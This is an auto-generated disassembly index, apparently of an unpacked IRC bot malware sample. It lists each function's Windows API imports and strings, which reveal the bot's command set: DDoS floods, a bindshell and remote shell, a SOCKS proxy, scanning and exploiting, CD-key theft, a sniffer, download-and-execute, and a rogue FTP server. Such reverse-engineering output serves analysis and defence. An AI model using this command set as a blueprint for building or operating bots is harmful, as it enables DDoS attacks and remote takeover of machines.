<font color=brown></font></pre></td></tr><tr id="sub_418FC0"><td><pre><a name="sub_418FC0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_418FC0"><font size=+2>sub_418FC0</a>(5171)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook allocation failure at file "...
"Client hook allocation failure.\n"
"%s"
"Invalid allocation size: %u bytes.\n"
"Error: memory allocation: bad memory bl"...
"%s"
</font></pre></td></tr><tr id="sub_41FCA0"><td><pre><a name="sub_41FCA0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41FCA0"><font size=+2>sub_41FCA0</a>(52db)</font>:<font color=darkgreen>
NTDLL.RtlAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_434810"><td><pre><a name="sub_434810"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_434810"><font size=+2>sub_434810</a>(53c9)</font>:<font color=darkgreen>
KERNEL32.GetLocaleInfoW
KERNEL32.GetLocaleInfoA
KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_40A938"><td><pre><a name="sub_40A938"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40A938"><font size=+2>sub_40A938</a>(5581)</font>:<font color=darkgreen>
KERNEL32.TerminateThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_42C3D0"><td><pre><a name="sub_42C3D0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42C3D0"><font size=+2>sub_42C3D0</a>(567a)</font>:<font color=darkgreen>
KERNEL32.CreateFileA
NTDLL.RtlGetLastWin32Error
KERNEL32.GetFileType
KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_4333D0"><td><pre><a name="sub_4333D0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4333D0"><font size=+2>sub_4333D0</a>(569a)</font>:<font color=brown>
"am/pm"
"a/p"
</font></pre></td></tr><tr id="sub_40FEBC"><td><pre><a name="sub_40FEBC"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40FEBC"><font size=+2>sub_40FEBC</a>(571c)</font>:<font color=darkgreen>
KERNEL32.CreateThread
KERNEL32.Sleep
NTDLL.RtlGetLastWin32Error
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_411E27"><td><pre><a name="sub_411E27"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_411E27"><font size=+2>sub_411E27</a>(5910)</font>:<font color=darkgreen>
KERNEL32.GetTickCount
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_430030"><td><pre><a name="sub_430030"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_430030"><font size=+2>sub_430030</a>(5ca0)</font>:<font color=darkgreen>
KERNEL32.EnumSystemLocalesA</font>
<font color=brown></font></pre></td></tr><tr id="sub_420F20"><td><pre><a name="sub_420F20"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_420F20"><font size=+2>sub_420F20</a>(5f2d)</font>:<font color=darkgreen>
KERNEL32.VirtualAlloc</font>
<font color=brown></font></pre></td></tr><tr id="sub_411ED9"><td><pre><a name="sub_411ED9"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_411ED9"><font size=+2>sub_411ED9</a>(5fa9)</font>:<font color=darkgreen>
KERNEL32.QueryPerformanceFrequency
KERNEL32.QueryPerformanceCounter</font>
<font color=brown>
"ddos.syn"
"ddos.ack"
"ddos.random"
</font></pre></td></tr><tr id="sub_41C150"><td><pre><a name="sub_41C150"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41C150"><font size=+2>sub_41C150</a>(6240)</font>:<font color=darkgreen>
KERNEL32.DeleteFileA
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_417985"><td><pre><a name="sub_417985"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_417985"><font size=+2>sub_417985</a>(62d2)</font>:<font color=darkgreen>
KERNEL32.WriteFile</font>
<font color=brown></font></pre></td></tr><tr id="sub_41671B"><td><pre><a name="sub_41671B"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41671B"><font size=+2>sub_41671B</a>(6353)</font>:<font color=brown>
"The specified service name is invalid."
"The requested control code is undefined"...
"The handle is invalid."
"The handle does not have the required a"...
"The service binary file could not be fo"...
"The service cannot be stopped because o"...
"The database is locked."
"A thread could not be created for the s"...
"The process for the service was started"...
"The requested control code is not valid"...
"An instance of the service is already r"...
"The system is shutting down."
"An unknown error occurred: <%ld>"
</font></pre></td></tr><tr id="sub_42F510"><td><pre><a name="sub_42F510"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42F510"><font size=+2>sub_42F510</a>(642b)</font>:<font color=brown>
"initmon.c"
</font></pre></td></tr><tr id="sub_41DA60"><td><pre><a name="sub_41DA60"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41DA60"><font size=+2>sub_41DA60</a>(65cd)</font>:<font color=darkgreen>
KERNEL32.GetLocalTime
KERNEL32.GetSystemTime
KERNEL32.GetTimeZoneInformation</font>
<font color=brown></font></pre></td></tr><tr id="sub_401CC1"><td><pre><a name="sub_401CC1"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_401CC1"><font size=+2>sub_401CC1</a>(667f)</font>:<font color=darkgreen>
KERNEL32.CreateThread
KERNEL32.Sleep
NTDLL.RtlGetLastWin32Error
KERNEL32.GetModuleFileNameA
KERNEL32.GetSystemDirectoryA
KERNEL32.GetTickCount
KERNEL32.ExitProcess
WS2_32.getsockname
KERNEL32.MoveFileA
KERNEL32.CreateProcessA
KERNEL32.GetTempPathA
KERNEL32.DeleteFileA
KERNEL32.TerminateThread</font>
<font color=brown>
" :"
" "
" "
"!"
"PING"
"PONG %s\r\n"
"JOIN %s %s\r\n"
"001"
"005"
"302"
"@"
"433"
"NICK %s\r\n"
"KICK"
"NOTICE %s :%s\r\n"
"JOIN %s %s\r\n"
"NICK"
":%s%s"
"PART"
"QUIT"
"353"
"PART"
"NOTICE %s :%s\r\n"
"PRIVMSG"
"NOTICE"
"332"
"PRIVMSG"
"NOTICE"
"login"
"hi"
"332"
"NOTICE"
"#"
" :"
"$%d-"
"$%d"
"$me"
"$user"
"$chan"
"$rndnick"
"$server"
"$chr("
"$chr("
")"
"63"
" "
" "
"rndnick"
"rn"
"die"
"d"
"logout"
"lo"
"dedication"
"ded"
"speedtest"
"st"
"bindshell"
"bd"
"Server"
"socks4"
"s4"
"socks4stop"
"Server"
"rloginstop"
"Server"
"httpstop"
"Server"
"logstop"
"Log list"
"redirectstop"
"TCP redirect"
"synstop"
"Syn flood"
"skysynstop"
"SkySyn flood"
"targa3stop"
"Targa3 flood"
"wonkstop"
"Wonk flood"
"packetstop"
"DDoS flood"
"tsunamistop"
"Tsunami flood"
"wisdomstop"
"Wisdom attack"
"udpstop"
"UDP flood"
"pingstop"
"Ping flood"
"tftpstop"
"Server"
"procsstop"
"psstop"
"clonestop"
"Clone"
"securestop"
"Secure"
"scanstop"
"Scan"
"scanstats"
"stats"
"trstats"
"connectbackstats"
"cbstats"
"exploitlist"
"explist"
"reconnect"
"r"
"disconnect"
"dc"
"quit"
"q"
"status"
"s"
"id"
"i"
"reboot"
"threads"
"t"
"aliases"
"al"
"lo0g"
"l0g"
"clearlog"
"clg"
"netinfo"
"ni"
"sysinfo"
"si"
"remov10e"
"r010m"
"procs"
"ps"
"getcdkeys"
"key"
"uptime"
"up"
"driveinfo"
"drv"
"testdlls"
"dll"
"opencmd"
"ocmd"
"cmdstop"
"Remote shell"
"spoof"
"off"
"getclip"
"gc"
"flusharp"
"farp"
"flushdns"
"fdns"
"currentip"
"cip"
"rloginserver"
"rlogin"
"httpserver"
"http"
"tftpserver"
"tftp"
"scanall"
"vall"
"phonehome"
"NOTICE %s :PHONING HOME: hi ;).\r\n"
"#xx#"
"#xx#"
"Random"
"Sequential"
"full"
"%s"
"sub"
"k333yx"
"QUIT :%s\r\n"
"QUIT :later\r\n"
"QUIT :disconnecting\r\n"
"QUIT :reconnecting\r\n"
"Process list"
"332"
"get"
"%d.%d.%d.*"
"exploit"
"#xx#"
"#xx#"
"reconnect.in"
"rin"
"reconnect.in.ms"
"rinms"
"flood"
"load"
"pm"
" "
"_"
"privmsg %s :%s"
"ct"
" "
"_"
"mode"
" "
"_"
"mode %s %s"
"join"
"join %s"
"part"
"part %s"
"partflood"
"room"
"part %s %s"
"pnick"
"%s%i"
"NICK %s"
"join/part"
"join %s"
"room"
"part %s %s"
"join %s"
"room"
"part %s %s"
"join %s"
"room"
"part %s %s"
"dcc"
"nick"
"join %s"
"NICK %s"
"NICK %s"
"NICK %s"
"chgnick"
"NICK %s"
"msg"
"join %s"
"room"
"privmsg %s :%s"
"room"
"privmsg %s :%s"
"room"
"privmsg %s :%s"
"notice"
"join %s"
"room"
"NOTICE %s :%s"
"room"
"NOTICE %s :%s"
"room"
"NOTICE %s :%s"
"ctcp"
"join %s"
"room"
"room"
"room"
"register"
"nickserv register %s %s"
"off"
"nick"
"n"
"join"
"j"
"part"
"pt"
"raw"
"r"
"killthread"
"k"
"c_quit"
"c_q"
"c_rndnick"
"c_rn"
"prefix"
"pr"
"open"
"o"
"server"
"se"
"dns"
"dn"
"killproc"
"kp"
"kill"
"ki"
"delete"
"del"
"list"
"li"
"mirccmd"
"mirc"
"readfile"
"rf"
"sniffer"
"on"
"#CYBER-sniff"
"off"
"ident"
"on"
"off"
"net"
"start"
"%s"
"stop"
"%s"
"pause"
"%s"
"continue"
"%s"
"delete"
"%s"
"share"
"%s"
"%s"
"user"
"%s"
"%s"
"%s"
"send"
"%s"
"gethost"
"gh"
"killlog"
"kl"
"addalias"
"aa"
"privmsg"
"pm"
"action"
"a"
"cycle"
"cy"
"mode"
"m"
"c_raw"
"c_r"
"c_mode"
"c_m"
"c_nick"
"c_n"
"c_join"
"c_j"
"c_part"
"c_p"
"targa3"
"t3"
"tsunami"
"tsn"
"repeat"
"rp"
"delay"
"de"
"update"
"u11p"
"execute"
"e"
"rename"
"mv"
"icmpflood"
"icmp"
"clone"
"c"
"usa.syn"
"usa.ack"
"usa.rm"
"wis.u"
"sfnfff"
"sy1"
"skysyn"
"phatwonk"
"wonk"
"download1"
"d1"
"redirect"
"rd"
"scan"
"sc"
"c_privmsg"
"c_pm"
"c_action"
"c_a"
"portscan"
"psc"
"advscan"
"vvv"
"udpflood"
"pu1"
"u"
"netsend"
"ns"
"pingflood"
"ping"
"p"
"tfpff"
"usa"
"email"
" "
"_"
"helo $rndnick\nmail from: <%s>\nrcpt to: "...
"httpcon"
"hcon"
"syn"
"ack"
"random"
"Spoofed"
"Normal"
"ICMP.dll not available"
"upload"
"%s\\%i%i%i.dll"
"ab"
"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
"-s:%s"
"ftp.exe"
"open"
"#xx#"
"Sequential"
"[%s] <%s> %s"
"k333yx"
"%s%s.exe"
"332"
"%s %s %s :%s"
"332"
"repeat"
"%s %s %s :%s"
"PART %s"
"%s\r\n"
"JOIN %s %s"
"%s\r\n"
"NICK %s"
"%s\r\n"
"MODE %s"
"%s\r\n"
"%s\r\n"
"MODE %s\r\n"
"332"
"PART %s\r\n"
"JOIN %s %s\r\n"
"%s %s %s :%s"
"r"
"open"
"NICK %s"
"%s\r\n"
"QUIT :later\r\n"
"all"
"%s\r\n"
"PART %s\r\n"
"JOIN %s %s\r\n"
"NICK %s\r\n"
"QUIT :reconnecting\r\n"
"QUIT :reconnecting\r\n"
"NICK %s\r\n"
"!"
"~"
"hi"
"NOTICE %s :Pass auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"NOTICE %s :Host Auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"hi"
"USERHOST %s\r\n"
"-x+i"
"MODE %s %s\r\n"
"JOIN %s %s\r\n"
</font></pre></td></tr><tr id="sub_413849"><td><pre><a name="sub_413849"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_413849"><font size=+2>sub_413849</a>(673b)</font>:<font color=darkgreen>
KERNEL32.GetTickCount
WS2_32.htons</font>
<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_421F10"><td><pre><a name="sub_421F10"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_421F10"><font size=+2>sub_421F10</a>(6774)</font>:<font color=brown>
"_filbuf.c"
</font></pre></td></tr><tr id="sub_41539E"><td><pre><a name="sub_41539E"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41539E"><font size=+2>sub_41539E</a>(68c3)</font>:<font color=brown>
" "
" "
"PING"
"PONG %s\n"
"433"
"432"
"NICK %s\n"
</font></pre></td></tr><tr id="sub_413E60"><td><pre><a name="sub_413E60"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_413E60"><font size=+2>sub_413E60</a>(69d4)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_413F11"><td><pre><a name="sub_413F11"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_413F11"><font size=+2>sub_413F11</a>(6cb9)</font>:<font color=darkgreen>
WS2_32.connect
WS2_32.ioctlsocket
WS2_32.__WSAFDIsSet
WS2_32.getsockopt</font>
<font color=brown></font></pre></td></tr><tr id="sub_410A31"><td><pre><a name="sub_410A31"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_410A31"><font size=+2>sub_410A31</a>(6ddc)</font>:<font color=darkgreen>
KERNEL32.GetCurrentProcess
KERNEL32.DuplicateHandle
KERNEL32.CreateProcessA
KERNEL32.CloseHandle
NTDLL.RtlGetLastWin32Error</font>
<font color=brown>
"cmd /q"
</font></pre></td></tr><tr id="sub_40DBCD"><td><pre><a name="sub_40DBCD"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40DBCD"><font size=+2>sub_40DBCD</a>(6e5c)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.connect
WS2_32.send
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_40C736"><td><pre><a name="sub_40C736"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40C736"><font size=+2>sub_40C736</a>(6e81)</font>:<font color=darkgreen>
WS2_32.select
WS2_32.__WSAFDIsSet</font>
<font color=brown></font></pre></td></tr><tr id="sub_4248D0"><td><pre><a name="sub_4248D0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4248D0"><font size=+2>sub_4248D0</a>(6ed7)</font>:<font color=darkgreen>
KERNEL32.InterlockedIncrement
KERNEL32.InterlockedDecrement</font>
<font color=brown></font></pre></td></tr><tr id="sub_413A92"><td><pre><a name="sub_413A92"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_413A92"><font size=+2>sub_413A92</a>(6f5f)</font>:<font color=darkgreen>
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_423CF0"><td><pre><a name="sub_423CF0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_423CF0"><font size=+2>sub_423CF0</a>(7112)</font>:<font color=darkgreen>
NTDLL.RtlGetLastWin32Error
KERNEL32.TlsGetValue
KERNEL32.TlsSetValue
KERNEL32.GetCurrentThreadId
NTDLL.RtlRestoreLastWin32Error</font>
<font color=brown>
"tidtable.c"
</font></pre></td></tr><tr id="sub_40B1CC"><td><pre><a name="sub_40B1CC"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40B1CC"><font size=+2>sub_40B1CC</a>(7331)</font>:<font color=darkgreen>
KERNEL32.GetModuleFileNameA
KERNEL32.CreateThread
KERNEL32.Sleep
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_434E10"><td><pre><a name="sub_434E10"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_434E10"><font size=+2>sub_434E10</a>(734a)</font>:<font color=darkgreen>
KERNEL32.SetEnvironmentVariableA</font>
<font color=brown></font></pre></td></tr><tr id="sub_429280"><td><pre><a name="sub_429280"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_429280"><font size=+2>sub_429280</a>(7430)</font>:<font color=brown>
"_"
"."
</font></pre></td></tr><tr id="sub_41F6A0"><td><pre><a name="sub_41F6A0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41F6A0"><font size=+2>sub_41F6A0</a>(744e)</font>:<font color=brown>
"_freebuf.c"
</font></pre></td></tr><tr id="sub_42A3F0"><td><pre><a name="sub_42A3F0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42A3F0"><font size=+2>sub_42A3F0</a>(77d3)</font>:<font color=darkgreen>
KERNEL32.GetEnvironmentStringsW
KERNEL32.GetEnvironmentStrings
KERNEL32.WideCharToMultiByte
KERNEL32.FreeEnvironmentStringsW
KERNEL32.FreeEnvironmentStringsA</font>
<font color=brown></font></pre></td></tr><tr id="sub_41004D"><td><pre><a name="sub_41004D"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41004D"><font size=+2>sub_41004D</a>(78f3)</font>:<font color=darkgreen>
KERNEL32.CreateThread
KERNEL32.Sleep
NTDLL.RtlGetLastWin32Error
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_417955"><td><pre><a name="sub_417955"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_417955"><font size=+2>sub_417955</a>(7918)</font>:<font color=darkgreen>
KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_4107E7"><td><pre><a name="sub_4107E7"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4107E7"><font size=+2>sub_4107E7</a>(7989)</font>:<font color=darkgreen>
KERNEL32.CreateThread
NTDLL.RtlGetLastWin32Error
KERNEL32.TerminateThread
KERNEL32.WaitForMultipleObjects
KERNEL32.TerminateProcess
KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_411734"><td><pre><a name="sub_411734"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_411734"><font size=+2>sub_411734</a>(79f8)</font>:<font color=brown>
"#dd"
</font></pre></td></tr><tr id="sub_4156B7"><td><pre><a name="sub_4156B7"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4156B7"><font size=+2>sub_4156B7</a>(7aa9)</font>:<font color=brown>
"-|`_\\{[]}"
"-|`_\\{[]}"
"-|`_\\{[]}"
"-|`_\\{[]}"
</font></pre></td></tr><tr id="sub_4131FE"><td><pre><a name="sub_4131FE"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4131FE"><font size=+2>sub_4131FE</a>(7b89)</font>:<font color=darkgreen>
KERNEL32.GetTickCount
KERNEL32.ExitThread</font>
<font color=brown>
"syn"
"ack"
"random"
</font></pre></td></tr><tr id="sub_429750"><td><pre><a name="sub_429750"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_429750"><font size=+2>sub_429750</a>(7c74)</font>:<font color=darkgreen>
KERNEL32.LCMapStringW
KERNEL32.LCMapStringA
KERNEL32.MultiByteToWideChar
KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_429120"><td><pre><a name="sub_429120"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_429120"><font size=+2>sub_429120</a>(7d34)</font>:<font color=brown>
"_.,"
</font></pre></td></tr><tr id="sub_40A1DC"><td><pre><a name="sub_40A1DC"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40A1DC"><font size=+2>sub_40A1DC</a>(7e76)</font>:<font color=darkgreen>
KERNEL32.GetTickCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_40E4A5"><td><pre><a name="sub_40E4A5"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40E4A5"><font size=+2>sub_40E4A5</a>(7ea4)</font>:<font color=darkgreen>
WS2_32.WSAStartup
WS2_32.socket
WS2_32.setsockopt
WS2_32.ioctlsocket
WS2_32.bind
WS2_32.listen
WS2_32.select
WS2_32.__WSAFDIsSet
WS2_32.accept
WS2_32.send
WS2_32.recv
WS2_32.closesocket</font>
<font color=brown>
"220 StnyFtpd 0wns j0\n"
"%s %s"
"USER"
"331 Password required\n"
"PASS"
"230 User logged in.\n"
"SYST"
"215 StnyFtpd\n"
"REST"
"350 Restarting.\n"
"257 \"/\" is current directory.\n"
"TYPE"
"A"
"200 Type set to A.\n"
"TYPE"
"I"
"200 Type set to I.\n"
"PASV"
"425 Passive not supported on this serve"...
"LIST"
"226 Transfer complete\n"
"PORT"
"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
"%x%x\n"
"%s.%s.%s.%s"
"200 PORT command successful.\n"
"RETR"
"150 Opening BINARY mode data connection"...
"ftp transfer started to: %s"
"226 Transfer complete.\n"
"ftp transfer complete to: %s"
"425 Can't open data connection.\n"
"QUIT"
"221 Goodbye happy r00ting.\n"
</font></pre></td></tr><tr id="sub_420E10"><td><pre><a name="sub_420E10"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_420E10"><font size=+2>sub_420E10</a>(7fc5)</font>:<font color=darkgreen>
NTDLL.RtlReAllocateHeap
NTDLL.RtlAllocateHeap
KERNEL32.VirtualAlloc
NTDLL.RtlFreeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_4127E1"><td><pre><a name="sub_4127E1"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4127E1"><font size=+2>sub_4127E1</a>(862d)</font>:<font color=darkgreen>
KERNEL32.GetTickCount
KERNEL32.ExitThread
KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_420030"><td><pre><a name="sub_420030"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_420030"><font size=+2>sub_420030</a>(865e)</font>:<font color=darkgreen>
KERNEL32.HeapValidate
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_418406"><td><pre><a name="sub_418406"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_418406"><font size=+2>sub_418406</a>(86cb)</font>:<font color=darkgreen>
KERNEL32.GetTickCount</font>
<font color=brown>
"POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
"\r\n"
</font></pre></td></tr><tr id="sub_41F5F0"><td><pre><a name="sub_41F5F0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41F5F0"><font size=+2>sub_41F5F0</a>(86d7)</font>:<font color=darkgreen>
KERNEL32.CloseHandle
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_40AA8B"><td><pre><a name="sub_40AA8B"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_40AA8B"><font size=+2>sub_40AA8B</a>(8732)</font>:<font color=brown>
"%s %s stopped. (%d thread(s) stopped.)"
"%s No %s thread found."
</font></pre></td></tr><tr id="sub_41ED90"><td><pre><a name="sub_41ED90"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41ED90"><font size=+2>sub_41ED90</a>(880a)</font>:<font color=darkgreen>
NTDLL.RtlLeaveCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_41ED20"><td><pre><a name="sub_41ED20"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41ED20"><font size=+2>sub_41ED20</a>(880a)</font>:<font color=darkgreen>
NTDLL.RtlEnterCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_411A34"><td><pre><a name="sub_411A34"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_411A34"><font size=+2>sub_411A34</a>(88b5)</font>:<font color=darkgreen>
KERNEL32.ExitThread
WS2_32.htons
WS2_32.inet_ntoa</font>
<font color=brown>
"%s"
"%s"
</font></pre></td></tr><tr id="sub_416E32"><td><pre><a name="sub_416E32"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_416E32"><font size=+2>sub_416E32</a>(893c)</font>:<font color=brown>
"Account: %S"
"Full Name: %S"
"User Comment: %S"
"Comment: %S"
"Unknown"
"Administrator"
"User"
"Guest"
"Privilege Level: %s"
"Auth Flags: %d"
"Home Directory: %S"
"Parameters: %S"
"Password Age: %d"
"Bad Password Count: %d"
"Number of Logins: %d"
"Last Logon: %d"
"Last Logoff: %d"
"Logon Server: %S"
"Country Code: %d"
"User's Language: %d"
"Max. Storage: %d"
</font></pre></td></tr><tr id="sub_4174B4"><td><pre><a name="sub_4174B4"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4174B4"><font size=+2>sub_4174B4</a>(8a01)</font>:<font color=darkgreen>
KERNEL32.GetComputerNameA</font>
<font color=brown></font></pre></td></tr><tr id="sub_430420"><td><pre><a name="sub_430420"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_430420"><font size=+2>sub_430420</a>(8a36)</font>:<font color=darkgreen>
KERNEL32.EnumSystemLocalesA</font>
<font color=brown></font></pre></td></tr><tr id="sub_41D410"><td><pre><a name="sub_41D410"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41D410"><font size=+2>sub_41D410</a>(8af0)</font>:<font color=darkgreen>
NTDLL.RtlUnwind</font>
<font color=brown></font></pre></td></tr><tr id="sub_4308C0"><td><pre><a name="sub_4308C0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_4308C0"><font size=+2>sub_4308C0</a>(8c7e)</font>:<font color=darkgreen>
KERNEL32.GetLocaleInfoA</font>
<font color=brown>
"040a"
"1252"
</font></pre></td></tr><tr id="sub_42DED0"><td><pre><a name="sub_42DED0"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42DED0"><font size=+2>sub_42DED0</a>(8cb0)</font>:<font color=darkgreen>
KERNEL32.IsBadCodePtr</font>
<font color=brown></font></pre></td></tr><tr id="sub_416A95"><td><pre><a name="sub_416A95"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_416A95"><font size=+2>sub_416A95</a>(8cdb)</font>:<font color=darkgreen>
KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_410CDF"><td><pre><a name="sub_410CDF"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_410CDF"><font size=+2>sub_410CDF</a>(8ce4)</font>:<font color=darkgreen>
KERNEL32.CreateThread
KERNEL32.Sleep
NTDLL.RtlGetLastWin32Error
KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_415497"><td><pre><a name="sub_415497"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_415497"><font size=+2>sub_415497</a>(8dd5)</font>:<font color=brown>
"NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
</font></pre></td></tr><tr id="sub_42AD20"><td><pre><a name="sub_42AD20"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42AD20"><font size=+2>sub_42AD20</a>(8e13)</font>:<font color=darkgreen>
NTDLL.RtlDeleteCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_415F56"><td><pre><a name="sub_415F56"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_415F56"><font size=+2>sub_415F56</a>(8e50)</font>:<font color=darkgreen>
KERNEL32.GlobalLock
KERNEL32.GlobalUnlock</font>
<font color=brown></font></pre></td></tr><tr id="sub_42BD10"><td><pre><a name="sub_42BD10"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42BD10"><font size=+2>sub_42BD10</a>(8e9f)</font>:<font color=darkgreen>
KERNEL32.FlushFileBuffers
NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_41CC10"><td><pre><a name="sub_41CC10"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_41CC10"><font size=+2>sub_41CC10</a>(8f05)</font>:<font color=brown>
"string != NULL"
"sscanf.c"
"format != NULL"
"sscanf.c"
</font></pre></td></tr><tr id="sub_42DF80"><td><pre><a name="sub_42DF80"></a><a href="a8a1059f8a5e78e3918e72c2b06005a9_unpacked.asm.html#sub_42DF80"><font size=+2>sub_42DF80</a>(8ff4)</font>:<font color=darkgreen>
KERNEL32.GetTimeZoneInformation
KERNEL32.WideCharToMultiByte</font>
<font color=brown>
"TZ"
